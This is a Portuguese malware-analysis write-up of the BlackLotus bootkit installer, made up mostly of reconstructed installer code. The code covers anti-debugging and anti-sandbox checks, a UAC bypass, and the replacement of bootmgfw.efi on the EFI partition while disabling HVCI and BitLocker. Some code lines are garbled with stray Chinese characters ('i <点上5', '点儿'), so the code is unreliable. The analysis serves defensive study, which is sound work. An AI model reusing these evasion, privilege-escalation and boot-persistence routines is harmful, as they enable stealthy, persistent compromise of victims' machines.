Análise do BlackLotus: Etapa do Instalador

Informações do Arquivo

Instalador do BlackLotus. SHA1: a5a530a91100ed5f07a5d74698b15c646dd44e16.

Função Principal

int64_t pontoDeInicio()
{
    // Ocultar thread de debugger
    NtSetInformationThread((HANDLE)-2, ThreadHideFromDebugger, NULL, 0);
    if (verificarDebugAtivo()) {
        *((int16_t*)0) = 0x4E8C;
    }

    inicializarNtdll();
    if (regiaoProibida() || verificarDebugAtivo() || verificarNtGlobalFlag() ||
        verificarDebugProcesso() || verificarDebugKernel() ||
        verificarExcecaoInt3() || verificarExcecaoInt2D() ||
        verificarDllsSandbox() || verificarArquivosSandbox() ||
        verificarProcessosSandbox() || verificarChavesRegistro() ||
        verificarValoresRegistro() || verificarRSMB() || verificarACPI() ||
        verificarMAC() || verificarRdtsc()) {
        *((int16_t*)0) = 0x4E8C;
    } else {
        inicializarOutrasImports();
        if (nivelIntegridadeAlto()) {
            instalarBootkitPrincipal();
        } else {
            contornarUAC();
        }
    }

    NtTerminateProcess((HANDLE)-1, 0x69);
    return 0x69;
}

Inicialização do NTDLL

Carrega dinamicamente APIs do NTDLL utilizando hashes.

void inicializarNtdll()
{
    PIMAGE_DOS_HEADER baseNtdll = obterNtdllSemHooks(0xD22E2014);
    LdrGetProcedureAddress_ptr = (int64_t (*)(...))obterEnderecoPorHash(baseNtdll, 0xB08469DD, 0);
    RtlInitUnicodeString_ptr = (int64_t (*)(...))obterEnderecoPorHash(baseNtdll, 0xC8D8F9F4, 0);
    // ... outras inicializações
}

Obter NTDLL e Remover Hooks

PIMAGE_DOS_HEADER obterNtdllSemHooks(DWORD hashDll)
{
    HANDLE arquivoNtdll = NULL;
    HANDLE secao = NULL;
    PVOID viewMapeada = NULL;
    // Abre e mapeia ntdll.dll do disco
    // Copia a seção .text limpa para a memória
    // Retorna base do NTDLL
}

Obter Endereço por Hash

void* obterEnderecoPorHash(PIMAGE_DOS_HEADER base, DWORD hashAlvo, uint16_t ordinal)
{
    // Percorre tabela de exportação
    // Compara hash do nome da função
    // Lida com forwarded exports
    // Retorna ponteiro para função
}

Técnicas de Anti-Debugging

1. Ocultar Thread do Debugegr

NTSTATUS NtSetInformationThread(
    HANDLE ThreadHandle,
    THREADINFOCLASS ThreadInformationClass,
    PVOID ThreadInformation,
    ULONG ThreadInformationLength)
{
    uint32_t numeroSyscall = obterNumeroSyscall(0x2ED76231);
    __asm { syscall }
}

2. Verificar BeingDebugged

int verificarDebugAtivo() {
    return NtCurrentPeb()->BeingDebugged;
}

3. Verificar NtGlobalFlag

BOOL verificarNtGlobalFlag() {
    return (NtCurrentPeb()->NtGlobalFlag & 0x70) != 0;
}

4. Consultas de Processo

DWORD verificarDebugProcesso() {
    DWORD resultado = 0;
    int debugPort = 0;
    uint64_t debugObject = 0;
    // ProcessDebugPort, ProcessDebugObjectHandle, ProcessDebugFlags
    return resultado;
}

5. Debugger de Kernel

uint32_t verificarDebugKernel() {
    char info[2];
    if (NtQuerySystemInformation(SystemKernelDebuggerInformation, &info, 2, NULL) >= 0) {
        return (info[0] || !info[1]) ? 1 : 0;
    }
    return 0;
}

6. Handlers de Exceção

uint32_t verificarExcecaoInt3() {
    uint32_t debugDetectado = infosDepuracao.haviaDebug;
    PVOID handler = RtlAddVectoredExceptionHandler(1, manipuladorExcecao);
    if (handler) {
        __debugbreak();
        RtlRemoveVectoredExceptionHandler(handler);
    }
    return debugDetectado;
}

Técnicas de Anti-Sandbox

1. DLLs de Sandbox

uint32_t verificarDllsSandbox() {
    DWORD hashesDlls[] = {0x1E7EACEF, 0x4468A620, 0x68536B95, ...};
    for (int i = 0; i < 10; i++) {
        if (obterBaseDll(hashesDlls[i], NULL)) return 1;
    }
    return 0;
}

2. Nomes de Processo

uint32_t verificarArquivosSandbox() {
    int hashAtual = calcularHashString(NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink[5].Flink);
    int hashesNomes[] = {0x7D73878E, 0xEF36424B, 0xAF64BC2B, ...};
    for (int i = 0; i < 8; i++) {
        if (hashAtual == hashesNomes[i]) return 1;
    }
    return 0;
}

3. Processos em Execução

uint32_t verificarProcessosSandbox() {
    int hashesProcessos[] = {0x42D12D59, 0x0EC5D7AA, 0x861E460F, ...};
    for (int i = 0; i <点上5; i++) {
        if (obterPIDProcesso(hashesProcessos[i])) return 1;
    }
    return 0;
}

4. Chaves de Registro

uint32_t verificarChavesRegistro() {
    const wchar_t* caminhos[] = {
        L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
        L"\\Registry\\Machine\\SYSTEM\\ControlSet001\\Services\\vioscsi",
        // ... outras chaves
    };
    for (int i = 0; i < 17; i++) {
        HANDLE chave;
        if (NtOpenKey(&chave, KEY_READ, &caminhos[i]) >= 0) {
            NtClose(chave);
            return 1;
        }
    }
    return 0;
}

Contorno de UAC

Utiliza técnica de bypass do UAC abusando do Program Compatibility Assistant.

int64_t contornarUAC() {
    WCHAR* sidUsuario = obterSIDUsuario();
    if (sidUsuario && !usuarioEhAdministrador()) {
        if (compararComLinhaComando(sidUsuario)) {
            if (versaoWindows() == 61) { // Windows 7
                Sleep(2500);
            } else {
                dispararPCA();
            }
            executarBypassUACPrincipal(versaoWindows() == 61, caminhoImagem, sidUsuario);
        }
        RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, sidUsuario);
    }
    return 0;
}

Instalação do Bootkit

Função Principal

int64_t instalarBootkitPrincipal() {
    HWND janelaPrevencao = criarJanelaPrevencaoDesligamento();
    if (obterPrivilegio(L"SeSystemEnvironmentPrivilege")) {
        UNICODE_STRING valorSecureBoot = RTL_CONSTANT_STRING(L"SecureBoot");
        GUID guidFirmware = {0x8BE4DF61, 0x11CA, 0x293D, {0xE0, 0x00, 0x0D, 0xAA, 0x8C, 0x2B, 0x03, 0x98}};
        uint32_t valor = 0;
        uint32_t tamanho = sizeof(valor);
        
        NTSTATUS status = NtQuerySystemEnvironmentValueEx(&valorSecureBoot, &guidFirmware, &valor, &tamanho, NULL);
        int secureBootAtivo = (status >= 0 && valor != 0) ? 1 : 0;
        
        int instalado = instalarBootkit(secureBootAtivo);
        
        MoveFileExW(caminhoImagem, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
        if (instalado && obterPrivilegio(L"SeShutdownPrivilege")) {
            Sleep(60000);
            NtShutdownSystem(1);
        }
    }
    return 0;
}

Instalação do Bootkit

int instalarBootkit(int secureBootAtivo) {
    wchar_t* caminhoESP = obterCaminhoESP();
    void* dadosBootkit = NULL;
    uint32_t tamanhoBootkit = 0;
    
    if (caminhoESP) {
        dadosBootkit = descriptografarAES(dadosCriptografados, chaveAES, &tamanhoBootkit);
        if (dadosBootkit && tamanhoBootkit) {
            wchar_t caminhoBootmgfw[260];
            wchar_t caminhoWinload[260];
            
            construirCaminho(caminhoBootmgfw, caminhoESP, L"bootmgfw.efi");
            construirCaminho(caminhoWinload, caminhoESP, L"winload.efi");
            
            if (moverArquivo(caminhoBootmgfw, caminhoWinload)) {
                int sucesso = secureBootAtivo ? 
                    escreverArquivoSecureBoot(caminhoBootmgfw, dadosBootkit, tamanhoBootkit) :
                    escreverArquivo(caminhoBootmgfw, dadosBootkit, tamanhoBootkit);
                    
                desativarHVCI();
                desativarBitlocker();
                
                if (sucesso) return 1;
            }
            moverArquivo(caminhoWinload, caminhoBootmgfw); // Restaurar
        }
    }
    return 0;
}

Funções de Criptografia

Descriptografar Bytes

BYTE* descriptografarBytes(BYTE* dadosEntrada, uint32_t tamanho, int novoBuffer) {
    static BYTE buffer[1000];
    static uint32_t offset = 0;
    
    if (novoBuffer) offset = 0;
    
    for (int i = tamanho; i > 0; i--) {
        BYTE atual = dadosEntrada[i-1];
        BYTE ajustado = (atual <= 0x7F) ? atual : atual - 0x60;
        buffer[offset + i - 1] = buffer[offset + i] ^ ajustado;
    }
    
    // Realizar permutações
    return &buffer[offset];
}

Descriptografar AES-256-CBC

UCHAR* descriptografarAES(UCHAR* entrada, UCHAR* chave, ULONG tamanhoEntrada, DWORD* tamanhoSaida) {
    BCRYPT_ALG_HANDLE handleAlgoritmo = NULL;
    BCRYPT_KEY_HANDLE handleChave = NULL;
    UCHAR* saida = NULL;
    
    BCryptOpenAlgorithmProvider(&handleAlgoritmo, L"AES", NULL, 0);
    BCryptSetProperty(handleAlgoritmo, L"ChainingMode", L"ChainingModeCBC", sizeof(L"ChainingModeCBC"), 0);
    
    BCryptGenerateSymmetricKey(handleAlgoritmo, &handleChave, NULL, 0, chave, 32, 0);
    
    ULONG tamanhoNecessario = 0;
    BCryptDecrypt(handleChave, entrada, tamanhoEntrada, NULL, NULL, 0, NULL, 0, &tamanhoNecessario, BCRYPT_BLOCK_PADDING);
    
    saida = (UCHAR*)LocalAlloc(LMEM_ZEROINIT, tamanhoNecessario);
    BCryptDecrypt(handleChave, entrada, tamanhoEntrada, NULL, NULL,点儿, saida, tamanhoNecessario, &tamanhoNecessario, BCRYPT_BLOCK_PADDING);
    
    *tamanhoSaida = tamanhoNecessario;
    
    // Limpeza
    return saida;
}

Script Python para Análise

Cálculo de Hash

def calcularHash(dados, tamanho, multiplicador=0x1003F):
    hash_val = 0
    for i in range(tamanho):
        hash_val = dados[i] + multiplicador * hash_val
    return hash_val & 0xFFFFFFFF

Descriptografar AES e LZMS

from Crypto.Cipher import AES
import ctypes

def descriptografarAES_Python(dadosCriptografados, caminhoSaida, chave):
    iv = b'\x00' * 16
    cifra = AES.new(chave, AES.MODE_CBC, iv)
    dadosDescriptografados = cifra.decrypt(dadosCriptografados)
    with open(caminhoSaida, 'wb') as arquivo:
        arquivo.write(dadosDescriptografados)

def descompactarLZMS(dadosComprimidos, chave):
    # Usa API Windows Cabinet para descompactação
    handleDescompactador = ctypes.c_void_p()
    tamanhoSaida = ctypes.c_ulong()
    
    # Chamadas para CreateDecompressor e Decompress
    # Retorna dados descompactados

Tags: malware-analysis bootkit UEFI anti-debugging anti-sandbox

Publicado em 8-30 09:21